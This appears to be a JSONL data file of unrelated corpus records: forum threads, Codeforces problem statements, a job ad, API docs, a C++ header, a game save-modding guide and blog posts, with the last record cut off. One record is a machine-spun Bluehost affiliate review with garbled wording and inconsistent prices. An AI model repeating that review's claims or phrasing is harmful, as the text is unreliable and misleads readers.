{"text": "Welcome to PhysicsOverflow! PhysicsOverflow is an open platform for community peer review and graduate-level Physics discussion.\nPlease help promote PhysicsOverflow ads elsewhere if you like it.\nPO is now at the Physics Department of Bielefeld University!\nNew printer friendly PO pages!\nMigration to Bielefeld University was successful!\nPlease vote for this year's PhysicsOverflow ads!\nPlease do help out in categorising submissions. Submit a paper to PhysicsOverflow!\n... see more\n(propose a free ad)\nAnyone know some good introductory references on the physics of anyons?\nOne of the best recent references is the 2008 RMP article by Nayak et al. Non-Abelian Anyons and Topological Quantum Computation\nA somewhat less technical reference is An Anyon Primer by Sumathi Rao.\nThere are many others but these two are good for someone starting out.\nAdy Stern, Anyons and the quantum Hall effect - a pedagogical review, arXiv:0711.4697 is a gentle introduction.\nIn the presence of magnetic field, I like very much the contribution of S. Ouvry in the Séminaires Poincaré.\nuser contributions licensed under cc by-sa 3.0 with attribution required", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Bluehost How To Optimize Your Site 6397\nLocating a high-quality inexpensive host provider isn’t simple. Every web site will have various demands from a host. Plus, you have to compare all the features of a holding business, all while searching for the most effective offer possible.\nThis can be a whole lot to type with, specifically if this is your very first time acquiring hosting, or developing a site.\nThe majority of hosts will certainly offer extremely economical introductory pricing, just to raise those rates 2 or 3 times greater once your preliminary contact is up. Some hosts will give cost-free incentives when you subscribe, such as a complimentary domain, or a free SSL certification.\nWhile some hosts will certainly be able to supply better performance and high degrees of protection. Bluehost How To Optimize Your Site 6397\nBelow we dive deep right into the very best affordable host plan there. You’ll learn what core organizing attributes are vital in a host and also exactly how to evaluate your very own organizing needs to make sure that you can pick from among the best economical holding suppliers below.\nDisclosure: When you buy a host bundle via web links on this page, we earn some commission. This assists us to maintain this site running. There are no additional prices to you in any way by using our web links. The listed here is of the very best inexpensive webhosting bundles that I’ve personally used as well as examined.\nWhat We Consider To Be Low-cost Web Hosting\nWhen we explain a webhosting plan as being “Cheap” or “Spending plan” what we indicate is hosting that falls into the rate bracket in between $0.80 to $4 each month. Whilst researching inexpensive holding providers for this guide, we checked out over 100 different hosts that fell into that rate array. We then assessed the high quality of their cheapest holding bundle, value for cash as well as customer service.\nIn this write-up, I’ll be looking at this world-class web site organizing company and stick in as much appropriate details as feasible.\nI’ll discuss the attributes, the pricing choices, as well as anything else I can consider that I believe might be of benefit, if you’re determining to sign up to Bluhost and get your websites up and running.\nSo without more ado, let’s check it out.\nBluehost is one of the largest host firms worldwide, getting both enormous marketing support from the business itself and affiliate online marketers who promote it.\nIt actually is a massive company, that has been around for a long time, has a large online reputation, and is absolutely one of the leading choices when it involves web hosting (definitely within the top 3, at least in my publication).\nHowever what is it precisely, as well as should you get its services?\nLearn More About Bluehost How To Optimize Your Site 6397 Here ->\nToday, I will certainly answer all there is you need to know, given that you are a blog writer or an entrepreneur who is trying to find a web host, and also does not know where to start, since it’s a great service for that target market generally.\nLet’s envision, you want to host your sites and also make them noticeable. Okay?\nYou currently have your domain (which is your site destination or URL) now you wish to “transform the lights on”. Bluehost How To Optimize Your Site 6397\nYou need some hosting…\nTo complete all of this, and also to make your internet site visible, you need what is called a “server”. A web server is a black box, or device, that saves all your web site information (data such as pictures, texts, videos, links, plugins, and various other information).\nCurrently, this server, needs to be on regularly and also it needs to be linked to the internet 100% of the time (I’ll be pointing out something called “downtime” in the future).\nAdditionally, it additionally needs (without getting also expensive and right into information) a file transfer protocol generally referred to as FTP, so it can reveal internet browsers your site in its desired kind.\nAll these things are either pricey, or call for a high degree of technical ability (or both), to create and keep. As well as you can totally go out there and also find out these things by yourself and also set them up … yet what regarding instead of you purchasing and maintaining one … why not simply “renting hosting” instead?\nThis is where Bluehost comes in. You rent their servers (called Shared Hosting) and also you introduce a web site utilizing those servers.\nBecause Bluehost keeps all your documents, the business likewise enables you to set up your web content administration systems (CMS, for short) such as WordPress for you. WordPress is a super prominent CMS … so it simply makes good sense to have that choice readily available (virtually every organizing firm currently has this option too).\nBasically, you no more require to set-up a web server and after that incorporate a software application where you can construct your web content, independently. It is currently rolled right into one package.\nIs it secure to have Bluehost take care of your web sites?\nWell … envision if your server remains in your home. If anything were to happen to it at all, all your files are gone. If something fails with its interior procedures, you require a technician to repair it. If something overheats, or breaks down or gets damaged … that’s no good!\nBluehost takes all these hassles away, and deals with everything technological: Pay your server “lease”, and they will care for whatever. As well as as soon as you purchase the solution, you can then start focusing on adding material to your internet site, or you can put your effort into your advertising and marketing projects.\nWhat Services Do You Receive From Bluehost?\nBluehost provides a myriad of various services, however the primary one is hosting obviously.\nThe holding itself, is of various kinds incidentally. You can rent out a shared server, have a dedicated web server, or likewise an onlineprivate server.\nFor the purpose of this Bluehost testimonial, we will concentrate on organizing solutions as well as various other solutions, that a blog writer or an on-line entrepreneur would certainly need, as opposed to go too deep right into the rabbit hole as well as talk about the other services, that are targeted at even more skilled individuals.\n- WordPress, WordPress PRO, and also e-Commerce— these hosting solutions are the packages that allow you to hold a website using WordPress and WooCommerce (the latter of which enables you to do shopping). After purchasing any one of these packages, you can start developing your website with WordPress as your CMS.\n- Domain name Marketplace— you can likewise get your domain name from Bluehost rather than other domain name registrars. Doing so will certainly make it less complicated to direct your domain name to your host’s name servers, given that you’re utilizing the same market.\n- Email— as soon as you have actually bought your domain name, it makes good sense to also obtain an e-mail address connected to it. As a blog owner or online business owner, you must basically never ever utilize a cost-free email service, like Yahoo! or Gmail. An e-mail similar to this makes you look unprofessional. The good news is, Bluehost gives you one free of cost with your domain name.\nBluehost also offers dedicated web servers.\nAs well as you may be asking …” What is a dedicated server anyhow?”.\nWell, things is, the standard webhosting bundles of Bluehost can just a lot website traffic for your internet site, after which you’ll require to update your holding. The factor being is that the common servers, are shared.\nWhat this indicates is that one server can be servicing 2 or even more web sites, at the same time, among which can be yours.\nWhat does this mean for you?\nIt implies that the solitary server’s resources are shared, and also it is doing multiple jobs at any kind of offered time. When your website starts to strike 100,000 site visits each month, you are mosting likely to require a dedicated server which you can additionally obtain from Bluehost for a minimum of $79.99 per month.\nThis is not something yous needs to bother with when you’re starting out however you must keep it in mind for certain.\nBluehost Rates: How Much Does It Cost?\nIn this Bluehost testimonial, I’ll be concentrating my attention primarily on the Bluehost WordPress Hosting plans, considering that it’s the most prominent one, and also likely the one that you’re looking for and that will fit you the best (unless you’re a big brand, company or site).\nThe three readily available strategies, are as follows:\n- Standard Plan– $2.95 monthly/ $7.99 normal rate\n- Plus Strategy– $5.45 each month/ $10.99 regular cost\n- Choice And Also Plan– $5.45 monthly/ $14.99 routine cost\nThe first rate you see is the cost you pay upon join, and also the second rate is what the price is, after the initial year of being with the firm.\nSo generally, Bluehost is going to charge you on an annual basis. And also you can additionally choose the quantity of years you intend to hold your site on them with. Bluehost How To Optimize Your Site 6397\nIf you select the Standard strategy, you will pay $2.95 x 12 = $35.40 starting today and also by the time you enter your 13th month, you will currently pay $7.99 each month, which is additionally charged each year. If that makes any feeling.\nIf you are serious about your site, you must 100% get the three-year option. This indicates that for the standard strategy, you will certainly pay $2.95 x 36 months = $106.2.\nBy the time you strike your 4th year, that is the only time you will pay $7.99 monthly. If you consider it, this technique will certainly save you $120 during three years. It’s very little, but it’s still something.\nIf you want to obtain more than one internet site (which I extremely recommend, and if you’re significant, you’ll most likely be getting even more eventually in time) you’ll wish to take advantage of the choice plus plan. It’ll enable you to host unrestricted websites.\nLearn More About Bluehost How To Optimize Your Site 6397 Here ->\nWhat Does Each Plan Deal?\nSo, in the case of WordPress hosting strategies (which are similar to the common hosting strategies, however are more geared in the direction of WordPress, which is what we’ll be concentrating on) the attributes are as complies with:\nFor the Standard strategy, you get:\n- One site just\n- Safe site by means of SSL certificate\n- Optimum of 50GB of storage\n- Free domain for a year\n- $ 200 marketing credit history\nKeep in mind that the domain names are acquired independently from the organizing. You can get a totally free domain with Bluehost here.\nFor both the Bluehost Plus hosting and Choice Plus, you get the following:\n- Unrestricted number of web sites\n- Free SSL Certification. Bluehost How To Optimize Your Site 6397\n- No storage space or data transfer restriction\n- Complimentary domain name for one year\n- $ 200 advertising credit score\n- 1 Workplace 365 Mailbox that is totally free for 30 days\nThe Choice Plus strategy has actually an added advantage of Code Guard Basic Back-up, a back-up system where your documents is saved as well as replicated. If any type of crash occurs and your internet site information vanishes, you can restore it to its original form with this attribute.\nNotification that although both plans set you back the same, the Selection Strategy then defaults to $14.99 per month, routine price, after the set quantity of years you have actually chosen.\nWhat Are The Perks Of Using Bluehost\nSo, why choose Bluehost over various other webhosting solutions? There are thousands of webhosting, much of which are resellers, yet Bluehost is one select couple of that have stood the test of time, and it’s probably one of the most well known out there (and for good factors).\nBelow are the 3 main advantages of selecting Bluehost as your webhosting service provider:\n- Web server uptime— your site will not be visible if your host is down; Bluehost has greater than 99% uptime. This is extremely essential when it pertains to Google SEO as well as rankings. The higher the much better.\n- Bluehost rate— how your web server action determines how rapid your internet site reveals on a browser; Bluehost is lighting fast, which means you will certainly decrease your bounce rate. Albeit not the most effective when it concerns packing rate it’s still widely crucial to have a quick rate, to make customer experience much better as well as far better your ranking.\n- Unlimited storage space— if you get the Plus plan, you need not fret about the number of documents you store such as video clips– your storage space ability is unrestricted. This is actually important, since you’ll probably encounter some storage issues later down the tracks, and also you do not want this to be an inconvenience … ever.\nLastly, consumer support is 24/7, which implies despite where you remain in the globe, you can contact the support group to repair your internet site concerns. Pretty conventional nowadays, but we’re taking this for approved … it’s likewise really essential. Bluehost How To Optimize Your Site 6397\nAlso, if you’ve gotten a free domain name with them, after that there will be a $15.99 fee that will be subtracted from the amount you initially bought (I envision this is since it sort of takes the “domain name out of the market”, not exactly sure about this, however there most likely is a hard-cost for registering it).\nLast but not least, any type of demands after 30 days for a reimbursement … are void (although in all sincerity … they need to possibly be rigorous right here).\nSo as you see, this isn’t always a “no doubt asked” plan, like with a few of the various other holding options around, so be sure you’re alright with the plans before continuing with the organizing.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3062, "token_count_with_eod": 3063, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a positive integer n. Let's build a graph on vertices 1, 2, ..., n in such a way that there is an edge between vertices u and v if and only if $${ \\mathrm { g c d } } ( u, v ) \\neq 1$$. Let d(u, v) be the shortest distance between u and v, or 0 if there is no path between them. Compute the sum of values d(u, v) over all 1 ≤ u < v ≤ n.\n\nThe gcd (greatest common divisor) of two positive integers is the maximum positive integer that divides both of the integers.", "source": "cpt_codeforces", "language": "en", "token_count": 135, "token_count_with_eod": 136, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Petr is a detective in Braginsk. Somebody stole a huge amount of money from a bank and Petr is to catch him. Somebody told Petr that some luxurious car moves along the roads without stopping.\n\nPetr knows that it is the robbers who drive the car. The roads in Braginsk are one-directional and each of them connects two intersections. Petr wants to select one intersection such that if the robbers continue to drive the roads indefinitely, they will sooner or later come to that intersection. The initial position of the robbers is unknown. Find such an intersection that fits the requirements.", "source": "cpt_codeforces", "language": "en", "token_count": 122, "token_count_with_eod": 123, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You want to have a positive impact on our future? You are passionate about creating visions for the future of mobility? You consider yourself a software enthusiast? You want to be part of an innovative team which welcomes new ideas? Start your new adventure at Elektrobit & use your software skills for a better tomorrow!\nElektrobit (EB) is an award-winning and visionary global supplier of embedded and connected software for the automotive industry. In 11 countries around the globe we are working toward a world in which mobility causes zero fatalities, produces low emissions, and transforms your commute into quality time. In our collaboration with our customers, such as Audi, BMW, Volkswagen and many more, we live and breathe our passion for automotive software and for the mobility of tomorrow.\nYour SKILLS to impact the world of mobility\n- University degree in computer science or a similar field and at least 3 years of professional experience with Unix/Linux system administration and standard tools\n- Detailed knowledge in embedded C programming\n- Skills in Linux scripting such as Bash, Perl and Python\n- Know-how in build-environments (gcc, gdb, bunutils, make)\n- Interest for kernel compilation and Arch Linux setup\nYour additional SKILLS, which are not mandatory\nKEY WORDS FROM OUR DAILY LIFE\n- Knowledge of Arch/Gentoo Linux\n- Willingness to learn German\nEmbedded Systems Development, C, C++, Python, Bash, Perl", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "__file/__directory: Patch for systems without stat(1)\nThis merge requests patches the stat explorers of the\n__directory types to work on systems missing\nstat(1) (embedded Linux) or systems other than Alpine Linux using BusyBox stat.\n@ander I noticed that your Solaris implementation is quite similar.\nI checked the Illumos distributions OpenIndiana, OmniOSCE, DilOS, Tribblix and they use GNU coreutils' stat.\nSo I'm wondering whether \"real\" Solaris is different and if one of the other commands or\nfallback() could be used instead.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 125, "token_count_with_eod": 126, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Fax Extension Configuration Reference\nThe fax service extension configuration mechanism includes the function and callback functions listed in this topic.\nIf you plan to implement the fax extension configuration mechanism, you must include the appropriate fax extension configuration header in your source code files. If you are programming on Windows XP, you must include FaxExt.h.\nEach fax extension DLL must export the following function to implement the fax extension configuration mechanism.\nThe fax service provides the following callback functions to allow an extension to retrieve and set fax device configuration data, and to receive notifications from the fax service about changes in device configuration data.\nThe following callback function name is a placeholder for a function defined by the fax extension DLL.\nBuild date: 5/5/2012", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I searched the forums for an answer to this question but didn't really find one that fit my situation. I just bought a 13\" MBP for use at school and work. I need to use Visual Studio 2010 for C++ programming and wondered whether it would be best to do so through bootcamp or through Parallels 6. Many of the threads I found said gaming would be better through bootcamp, but I didn't find anything mentioning programming. Would Parallels 6 be an acceptable choice for running Visual Studio, or would I be better off using bootcamp? I don't do any gaming and can run everything on Mac OS except for Visual Studio. I'd prefer using Parallels so I don't have to reboot, but I want to make sure it's going to run smoothly.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Here's a code sample that isn't working because each resource shows an allocation of 700 for each week.\nIf you switch to a daily scale, it turns out to be 100 each day.\nFor a weekly scale, we sum the load of each day, that's why it displays 700. Now we could divide this by 7 and display 100. Is this what you are expecting ?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 91, "token_count_with_eod": 92, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Purpose: Create a head and neck patient database consolidating patient information from across medical record platforms to track patient outcomes, foster future research projects, and aid professional and technical development.\nMethods: Consultants, including medical physicists, physicians, and medical software developers, were interviewed to determine what data would be most impactful to aggregate into a source-available cross-platform document-oriented database. This group was responsible for defining the information to be collected, the structure of the data, the collection and storage methods, and the database interface. Only data with clinical or utilization value was defined to reserve database space as well as data entry time. Patient data was collected from three separate medical software interfaces — Epic, Mosaiq, and Pinnacle. All files were converted into JSON format and integrated into a NoSQL relational user model database. All patient information was fully anonymized prior to database insertion. This activity was reviewed by our Institutional Review Board.\nResults: A head and neck database was created. Data collection and anonymization was consistent across all patients. The database includes relevant medical history, treatment, and post-treatment data including the relevant simulation and daily image sets. Data abstraction continues to take manual collection for database organizers. This collection could be streamlined to increase data entry.\nConclusion: The organizational structure and intent of a clinical database has been proposed and implemented for HN patients. The next step will be to use machine learning techniques in tandem with this database to predict follow-up complications and track patient outcomes. Potential improvements continue to be evaluated such as increasing the frequency and type of cancers recorded as well as opening access to the database and its construction to multiple centers.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Define a cyclic sequence of size $$$n$$$ as an array $$$s$$$ of length $$$n$$$, in which $$$s_n$$$ is adjacent to $$$s_1$$$.\n\nMuxii has a ring represented by a cyclic sequence $$$a$$$ of size $$$n$$$.\n\nHowever, the ring itself hates equal adjacent elements. So if two adjacent elements in the sequence are equal at any time, one of them will be erased immediately. The sequence doesn't contain equal adjacent elements initially.\n\nMuxii can perform the following operation until the sequence becomes empty:\n\n- Choose an element in $$$a$$$ and erase it.\n\nFor example, if ring is $$$[1, 2, 4, 2, 3, 2]$$$, and Muxii erases element $$$4$$$, then ring would erase one of the elements equal to $$$2$$$, and the ring will become $$$[1, 2, 3, 2]$$$.\n\nMuxii wants to find the maximum number of operations he could perform.\n\nNote that in a ring of size $$$1$$$, its only element isn't considered adjacent to itself (so it's not immediately erased).", "source": "cpt_codeforces", "language": "en", "token_count": 246, "token_count_with_eod": 247, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I help people with Python questions, and often those people are only casual acquaintances (at Boston Python) or complete strangers (in the #python IRC channel). There’s a common misunderstanding that can crop up in these situations. It has to do with asking why.\nWhile helping, I often ask the asker, “why?” For example, someone will need help with the two Python installations on their laptop. I’ll ask, “Why did you install a second Python?” When I did this the other night, another guy chuckled, because he thought I meant, “You shouldn’t have installed a second Python.”\nThis is a common reaction. Asking why is perceived as a rebuke. “Why did you XYZ?” is taken to mean, “You dummy, you shouldn’t have XYZed!” But when I ask it, I really do mean, “I want to understand what led you to XYZ.”\nEnglish can be difficult that way, especially over a purely textual, cue-less medium like IRC. One way to soften the apparent bluntness is to add more words. For example, instead of:\nWhy did you install another Python?\nthis might go over better:\nDo you mind if I ask you why you installed another Python? Understanding the reason might provide an important clue.\nSo if I ask you why, don’t take it personally. I really do want to know the reason for something. If I want to chide you for making a mistake, I’ll say something like, “You shouldn’t have XYZed,” or, “I don’t think it was a good idea to XYZ.”\nSometimes even when people understand I’m looking for reasons, they bristle at the question. They insist the reasons aren’t important, and why can’t I just answer a simple question?\nI ask because 75% of the time, my answer changes once I know the bigger picture. It’s common for people to start with a problem, and work towards a solution, and get stuck. Then they ask about the thing they are stuck on. That’s natural. But it’s also common that the reason they are stuck is there was a better path to start down in the first place. Understanding the reasons can help find that better path.\nAsking why can help find those earlier choices, and lay out the entire problem. Having all the information means we can work together to find the best solution.\nIf I ask you to explain the larger problem, don’t take it personally. Solving complex problems is hard, and it’s easy to choose a first step that makes the second step more difficult than it needs to be. When a helper asks about the bigger picture, they aren’t trying to make you look silly, they’re trying to help you find the best solution.\nThis phenomenon has a name: the XY problem. You have problem X, you choose solution Y, and when it doesn’t work, you ask about Y instead of asking about X. Despite some people’s disdain for this dynamic, it’s very common and people shouldn’t be put down for it. Sometimes the asker can’t see that there were alternatives earlier on. Sometimes the asker is trying to not take up too much of the helper’s time by asking a focused question. Whatever the reason, it happens all the time, and helpers should get out of the helping business if XY problems make them mad.\nAskers: if someone asks you why, or says you have an “XY problem,” that means they are trying to help you find the best solution. Don’t feel bad. We’re all struggling together to learn and overcome complexity.\nYou could make your article even better by including an example of a solution that was helped by the answer to the why-question.\nProblem solving 101: Try to solve their real problem, not the sub-problem at hand.\nThen again, I hardly ever have the problem someone takes it the wrong way if you just ask why in a non-condescending way, interesting you had that so often...\nI am going to include this in my required reading list\nAdd a comment:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The Sony Xperia Pro-I isn’t the initial phone to have a one-inch video camera sensing unit. It is the very first to place the one-inch sensing unit from the preferred Sony RX100 VII electronic camera right into a phone.\nSign up for CNET: https://www.youtube.com/user/CNETTV.\nLike us on Facebook: https://www.facebook.com/cnet.\nFollow us on Twitter: https://www.twitter.com/cnet.\nFollow us on Instagram: http://bit.ly/2icCYYm.\nFollow us on TikTok: https://vm.tiktok.com/ZMd2h6yac/.\nYou can see Sony Xperia Pro-I below.\n* CNET might obtain a payment from these deals.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 152, "token_count_with_eod": 153, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Uploaded on Jun 12, 2011\nsorry about rubbish recording\nsongs - linkin park - wretches and kings Dr Dre - Kush\nfirst you need:\nUSB EXPLORER - http://www.megaupload.com/?d=Q80BS439 just wait the 45 seconds\nHORIZON - http://www.xboxmb.com/horizon/ go \"download now\"\non your X Box go to your Hard drive move the borderlands save game onto your flash drive (flash drive must be formatted)\nthen go bakk to comp\nonce on open up USB Explorer\nkeep clicking the files untill you get to\nthen you want to extract it to your desktop\nthen open up \"HORIZON\" then go:\nthen open the file you extracted to your desktop\nnow click max on everything (level, XP, skill, money)\ndont mess with settings or values\nmake sure at the bottom right back up and safe mode are on!!!!!\nthen go save. it creates a backup file thats incase it screws up but use the shorter one.\ngo back to USB explorer\ndelete your previous save and drag and drop your modded one in\nthen close USB explorer\nyou MUST safely remove your flash drive\nthen go back to X Box\nnow do the exact same but opposite so move the account from your flsh drive onto your hard drive then just load the game up and start a single player and\nBAM YOU'VE DONE IT!!!!\ncomment, rate and subscribe\nStandard YouTube License", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 324, "token_count_with_eod": 325, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There are a number of sections under the biography part of an ORCID record:\nAlso known as: This can include an abbreviated first name, variants including initials for one or more first names, middle name(s), former or alternate name(s), or name(s) in a different character set. Each name should be added as a single item. This is a free text field up to 255 characters.\nWebsites: This section includes a description (optional) and a website URL (required)\nCountry: The Country section of an ORCID record allows researchers and member organizations to add one or more countries where they conduct research, or that are the topic of their research. The items in the country list are sourced from ISO 3166, the international standard for country and region codes.\nExternal identifiers (Other IDs): This section can only be added by member organizations. Please note that, although many organizations collect other external identifiers for their researchers, e.g. Scopus Author IDs, only the issuer of those identifiers can assert them authoritatively. We therefore strongly recommend that your organization only adds identifiers which your system(s) created and uses to identify researchers. This section includes four components (* indicates a required field):\n- ID type*\n- ID value*\n- ID relationship*\n- ID URL", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 268, "token_count_with_eod": 269, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I just wana know if someone might have an idea of how I can go about doing this:\nSo attached I have a little example I whiped up. Say you have 3 buttons, button1, button2, button3. What I wana do, is when you click button1, it will magicly turn into another button called button4.\nIs this possible? How? What would I put in my button1's actionPerformed to create and display button4 in button1s place?\nYou want that other \"Button 4\" to have a different functionality or simply change its label.\nFor changing label use the set methods of the JButton class API.\nFor changing the button, you can try to look at the API of JButton, if it has a setVisible method.\nYou can have both buttons placed at that location but one would be hidden. When you click the \"1\" you can hide that and make the \"4\" visible.\nLike I said in order for that to work you need to look at the API. I am not sure if it can be done\nHow to connect device scanner with visual basic, its analogy I made button scan in vb and typing button scan in press scanner live and walk .. how? Help ...\nI have the following problem.\nwhen i pres buttun printpreview (button 5) the the print preview fires up.\nand when i close the print preview without printing and minimize the ...\nHi all! I need help understanding what my teacher expects from this project.\nHere is the link to the instructions for the project: http://cs.ecu.edu/~karl/2530/spr18/Assn/Assn5/assn5.html\nI wrote a little bit of ...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 364, "token_count_with_eod": 365, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "21 December 2018\nI recently purchased a Pixelbook while over in the US, and I've slowly been exploring it's capabilities. I really like it as a travelling device, and I've naturally been curious about what you can set up. VSCode, Signal and other apps all seem to work in the Linux sandbox environment, and it turns out that Burp Suite does as well. Assuming you have the linux environment installed, adding Burp Suite is reasonably straight-forward.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Alice and Bob are playing a game. There are $$$n$$$ balls, out of which $$$k$$$ are special. Each ball has a value associated with it.\n\nThe players play turn by turn. In each turn, the player randomly picks a ball and adds the value of the ball to their score, which is $$$0$$$ at the beginning of the game. The selected ball is removed from the game. If the ball was special, the same player takes the next turn if at least one ball is remaining. If the ball picked was not special, the next player plays their turn.\n\nThey play this game until no balls are remaining in the game. Alice plays first.\n\nFind the expected score that both the players have at the end of the game modulo $$$10^9+7$$$.\n\nFormally, let $$$M = 10^9+7$$$. It can be shown that the answer can be expressed as an irreducible fraction $$$\\frac{p}{q}$$$, where $$$p$$$ and $$$q$$$ are integers and $$$q \\not \\equiv 0 \\pmod{M}$$$. Output the integer equal to $$$p \\cdot q^{-1} \\bmod M$$$. In other words, output such an integer $$$x$$$ that $$$0 \\le x < M$$$ and $$$x \\cdot q \\equiv p \\pmod{M}$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 288, "token_count_with_eod": 289, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Monocarp and Bicarp are playing a card game. Each card has two parameters: an attack value and a defence value. A card $$$s$$$ beats another card $$$t$$$ if the attack of $$$s$$$ is strictly greater than the defence of $$$t$$$.\n\nMonocarp has $$$n$$$ cards, the $$$i$$$-th of them has an attack value of $$$\\mathit{ax}_i$$$ and a defence value of $$$\\mathit{ay}_i$$$. Bicarp has $$$m$$$ cards, the $$$j$$$-th of them has an attack value of $$$\\mathit{bx}_j$$$ and a defence value of $$$\\mathit{by}_j$$$.\n\nOn the first move, Monocarp chooses one of his cards and plays it. Bicarp has to respond with his own card that beats that card. After that, Monocarp has to respond with a card that beats Bicarp's card. After that, it's Bicarp's turn, and so forth.\n\nAfter a card is beaten, it returns to the hand of the player who played it. It implies that each player always has the same set of cards to play as at the start of the game. The game ends when the current player has no cards that beat the card which their opponent just played, and the current player loses.\n\nIf the game lasts for $$$100^{500}$$$ moves, it's declared a draw.\n\nBoth Monocarp and Bicarp play optimally. That is, if a player has a winning strategy regardless of his opponent's moves, he plays for a win. Otherwise, if he has a drawing strategy, he plays for a draw.\n\nYou are asked to calculate three values:\n\n- the number of Monocarp's starting moves that result in a win for Monocarp;\n- the number of Monocarp's starting moves that result in a draw;\n- the number of Monocarp's starting moves that result in a win for Bicarp.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#ifndef JOB_STATE_DELEGATE_H_INCLUDED\n#define JOB_STATE_DELEGATE_H_INCLUDED\n\n#include \"../../../common-src/settings/settings_definitions_core.h\"\n\n#include <QStyledItemDelegate>\n\nclass JobStateDelegate : public QStyledItemDelegate\n{\n    Q_OBJECT\n\npublic:\n\n    JobStateDelegate(QObject *a_pParent = nullptr);\n    virtual ~JobStateDelegate();\n\n    virtual void paint(QPainter *a_pPainter,\n                       const QStyleOptionViewItem &a_option,\n                       const QModelIndex &a_index) const override;\n\nprotected:\n    QSize sizeHint(const QStyleOptionViewItem &option, const QModelIndex &a_index) const override;\n\n    virtual QColor jobStateColor(JobState a_state,\n                                 const QStyleOptionViewItem &a_option) const;\n};\n\n#endif // JOB_STATE_DELEGATE_H_INCLUDED", "source": "cpt_stack_code", "language": "code", "token_count": 173, "token_count_with_eod": 174, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "PwC has developed a new tool which facilitates the process of applying for a refund of fixed costs. The Excel template can help your company to easily:\n- Calculate fixed costs and turnover for the period December 2019 to February 2020 and the period April 2019 to June 2019, respectively.\n- Document expectations of fixed costs and turnover in the period 9 March 2020 – 8 June 2020.\nIn this video guide we walk you through the Excel template and we show you which numbers go where.\nThe Excel template is available here: https://www.pwc.dk/da/artikler/2020/04/fa-hjaelp-til-nemt-at-soge-refusion-for-faste-omkostninger.html\nPwC - Revision. Skat. Rådgivning\nSucces skaber man sammen med andre...\nBesøg os på: https://www.pwc.dk/", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 210, "token_count_with_eod": 211, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Erik Champion, author of Critical Gaming: Interactive History and Virtual Heritage gave the first guest lecture for the 3DH project. Erik was originally an architect who now works in interactive history and digital culture. He has led a number of projects that adapt game engines for cultural heritage. He gave us a great tour of various 3D examples to encourage us to think of games and virtual spaces as visualization.\nErik started his talk by commenting on how the ocular (sight) dominates how we know and explore. For Erik visualization goes way back and used to be connected to the acoustic and to architecture. You didn’t have visualizations detached from a space and without a soundscape.\nHe then talked about how games are not just about knowing visually, but also about knowing through the game-mechanics or the interaction. He gave the game September 12th: A Toy World as an example where the game mechanics are part of the way meaning is made.\nHe then argued that a data visualization can be different types of things for knowing or learning:\n- A game that changes your ideas\n- A presentation of visual uncertainty where people argue about reconstruction\n- A “reading” diagram and data\nHe commented on how people tend to believe vizualizations. They have rhetorical power and can therefore be a way of presenting things to broader audiences. He also talked about how for many people the word “game” makese more sense than “visualization.” You tell people you have game for them to learn from and they know what to do.\nHe talked about what are the concerns of non-text? In his book on Critical Gaming he has an opening chapter on “The Digital Humanities and the Limit of Text.” Champion wants to go beyond text with visualization and games, not just use visualization as a way of exploring text. Some of the issues and ideas he mentioned included:\n- Preservation of Digital Heritage. Erik’s work focuses a lot on developing virtual spaces for communicating about heritage or for letting people negotiate heritage. One of the major problems of this field is that virtual heritage projects tend to disappear and disappear faster than the actual project. There are no good standards for 3D data. He drew our attention to the UNESCO Charter on the Preservation of Digital Heritage which is well meaning, but doesn’t seem to be having any effect.\n- Infrastructure. A related problem is the infrastructure for non-textual digital work. We have a significant amount of textual infrastructure that we take for granted (think libraries and archives), but less visual. How is visualization supported and by who? PublicVR seems to be one organization trying to make 3D heritage available to schools.\n- Process not Product. Fields like archaeology are a process not a product. The field cannot be communicated by texts. We need to think of how the digital can communicate process, collaboration and reflection and games could play a role in this. He mentioned Elegy for a Dead World as an example. It is a game where you write about the dead world you are exploring.\n- Counterfactual History. How can we use simulations and games to explore “what if” scenarios. This is a way of knowing too. He mentioned Muzzy Lane Software who, for example, developed Making History.\n- Pointing in 3D. How do we point in 3D worlds. Erik has a project where they have created avatars that point for you.\nChampion showed a number of really interesting projects that we need to look at like Paper Machines (a Zotero text analysis tool) and Dead Men’s Eyes. Near the end he talked about Artificial Intelligence and how we can learn about AI in games. His idea is for people to play NPC’s and get the AI to figure out who they are – a reverse Turing game.", "source": 